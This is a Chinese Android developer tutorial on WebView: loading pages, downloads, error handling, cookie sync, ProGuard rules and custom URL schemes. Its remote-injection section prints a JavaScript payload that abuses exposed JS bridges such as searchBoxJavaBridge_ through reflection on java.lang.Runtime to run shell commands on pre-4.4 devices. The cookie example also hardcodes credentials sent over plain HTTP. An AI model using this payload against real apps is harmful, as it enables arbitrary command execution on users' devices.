android中webView的使用
1. 简单使用:使用的是系统默认的浏览器打开
webView = (WebView) findViewById(R.id.webView);
webView.loadUrl(“http://www.baidu.com“);
2. 设置能在自己的应用上打开,而不是在系统默认的浏览器上打开:
webView.setWebChromeClient(new WebChromeClient(){
@Override
public void onReceivedTitle(WebView view, String title) {
//在这里可以设置标题
super.onReceivedTitle(view, title);
}
});
webView.setWebViewClient(new WebViewClient(){
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
//在这里加载url
view.loadUrl(url);
return super.shouldOverrideUrlLoading(view, url);
}
});
- 模拟浏览器,显示当前网页打开的标题
webView.setWebChromeClient(new WebChromeClient(){
@Override
public void onReceivedTitle(WebView view, String title) {
//设置标题
titleView.setText(title);
super.onReceivedTitle(view, title);
}
});
效果图如下:
4. 使用webview去下载文件
// 下载文件
webView.setDownloadListener(new DownloadListener() {
@Override
public void onDownloadStart(String url, String userAgent,
String contentDisposition, String mimetype,
long contentLength) {
System.out.println("download url.......>" + url);
if (url.endsWith(".apk")) {
// 在这里调用下载文件的逻辑,自己实现
// new Thread(new MyDownLoadThread(url)).start();
//使用系统下载文件的功能
Uri uri = Uri.parse(url);
Intent intent = new Intent();
intent.setAction(Intent.ACTION_VIEW);
intent.setData(uri);
startActivity(intent);
}
}
});
在上面的代码中下载时有两种方式,一种是自己实现下载功能,另外一种是使用系统的。
5.webView的错误处理
当网络不好时,需要提醒用户:
有两种方式:
1. 加载本地html处理
2. 在布局中处理
下面演示html去处理:
webView.setWebViewClient(new WebViewClient() {
//出现错误时去处理
@Override
public void onReceivedError(WebView view, int errorCode,
String description, String failingUrl) {
//加载本地html
System.out.println("failingUrl---->" + failingUrl);
webView.loadUrl("file:///android_asset/error.html");
super.onReceivedError(view, errorCode, description, failingUrl);
}
});
- webView如何同步Cookie信息
首先写一个类去与获取cookie信息
package com.example.webviewtest;
import java.util.ArrayList;
import java.util.List;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.cookie.Cookie;
import org.apache.http.impl.client.AbstractHttpClient;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import android.os.Handler;
import android.os.Message;
/**
* WebView 实现Cookie同步
* @author johnny
*
*/
public class HttpCookie extends Thread {
private Handler handler;
public HttpCookie(Handler handler) {
this.handler = handler;
}
@Override
public void run() {
HttpClient client = new DefaultHttpClient();
//这里的地址为你web上登录的网址
HttpPost post = new HttpPost("http://192.168.1.23:8080/web/login");
List<NameValuePair> params = new ArrayList<NameValuePair>();
params.add(new BasicNameValuePair("logName", "johnny"));
params.add(new BasicNameValuePair("pwd", "1234567"));
try {
post.setEntity(new UrlEncodedFormEntity(params));
HttpResponse response = client.execute(post);
if (200 == response.getStatusLine().getStatusCode()) {
AbstractHttpClient absClient = (AbstractHttpClient) client;
List<Cookie> cookies = absClient.getCookieStore().getCookies();
for (Cookie cookie : cookies) {
System.out.println("logName:" + cookie.getName() + ",pwd:" + cookie.getValue());
System.out.println("cookie:"+cookie);
//发送改主线程
Message message = Message.obtain();
message.obj = cookie;
handler.sendMessage(message);
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
然后,在MainActivity里面同步cookie信息:
private Handler handler = new Handler() {
public void handleMessage(android.os.Message msg) {
//核心代码
//创建CookieSyncManager
CookieSyncManager.createInstance(MainActivity.this);
CookieManager manager = CookieManager.getInstance();
manager.setAcceptCookie(true);
manager.setCookie("http://192.168.1.23:8080/web", msg.obj.toString());
//同步cookie信息
CookieSyncManager.getInstance().sync();
// manager.flush();
webView.loadUrl("http://192.168.1.23:8080/web/index.jsp");
};
};
- 解决与js调用混淆代码时出现的问题
在未处理之前,如果在混淆代码时,如果没有处理,则会导致调用js无效,解决的方法如下:
在proguard.cfg里面加上如下代码:
//com.example.webviewTest.WebHook js要调用对象
-keep public class com.example.webviewTest.WebHook {
public <methods>;
}
另外在开发中碰到了一个bug,也在这里加下:
在proguard-project文件中有这么一句:
<span style="font-family:KaiTi_GB2312;font-size:14px;"># If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}</span>
把注释解除,把fqcn.of.javascript.interface.for.webview换成你自己定义的那个类名(包名也必须有,如果定义的是内部类,则是cn.wj.ui.WebViewActivity$myInterface),在4.1的系统上是没有问题了,但4.2的机子上还是不行,再找找,哦,原来是4.2以上版本调用js接口需要在方法使用声明@JavascriptInterface,然后混淆时可能会弄丢该声明导致,程序无法调用js,需要继续再配置文件中添加条件,
-keepattributes *Annotation*
-keepattributes *JavascriptInterface*
所以当使用了webview和js交互时,混淆文件中应该添上这些配置:
-keepclassmembers class cn.xx.xx.xxActivity$AppAndroid {
public *;
}
-keepattributes *Annotation*
-keepattributes *JavascriptInterface*
这样了之后,就不会混淆这部分代码,从而加载有效。
- WebView导致的远程注入问题
在调用js代码的页面使用以下代码,可以操作手机:
function check() {
for (var obj in window) {
try {
if ("getClass" in window[obj]) {
try {
window[obj].getClass();
document.write('<span style="color:red,font-size:22px">'
+ obj + '</span>');
document.write('<br/>');
} catch(e) {
}
}
} catch(e) {
}
}
}
function xecute(cmdArgs) {
return searchBoxJavaBridge_.getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
try {
//执行linux系统命令
//excute(["/system/bin/sh","-c","ls > /sdcard/log-ls.txt"])
excute(["/system/bin/sh","-c","ls > /mnt/sdcard > /sdcard/log-netstat.txt"]);
} catch(e) {
alert(e);
}
这个问题在4.4之后就被解决了,如果我们自己去处理webview的话,需要自定义协议去处理。
9.webView自定义协议拦截问题
有时候需要与前端处理一些问题,需要自定义一些协议:
如:在前端页面login.jsp里面写有:
<a href="http://169.254.181.83:8080/WebViewTest/login.jsp?startActivity">load page</a>
在我们app客户端,要处理这个协议:
webView.setWebViewClient(new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
//在这里处理自定义协议
if (url.endsWith("?startActivity")) {
Intent intent = new Intent(MainActivity.this,SecondActivity.class);
startActivity(intent);
return true;
}
// 在这里加载url
view.loadUrl(url);
return super.shouldOverrideUrlLoading(view, url);
}
}
当然协议可以有很多方式,这里只是一种简单的举列,要根据实际开发来处理。
以上就是webview的相关知识,非常感谢慕课网的老师的讲解。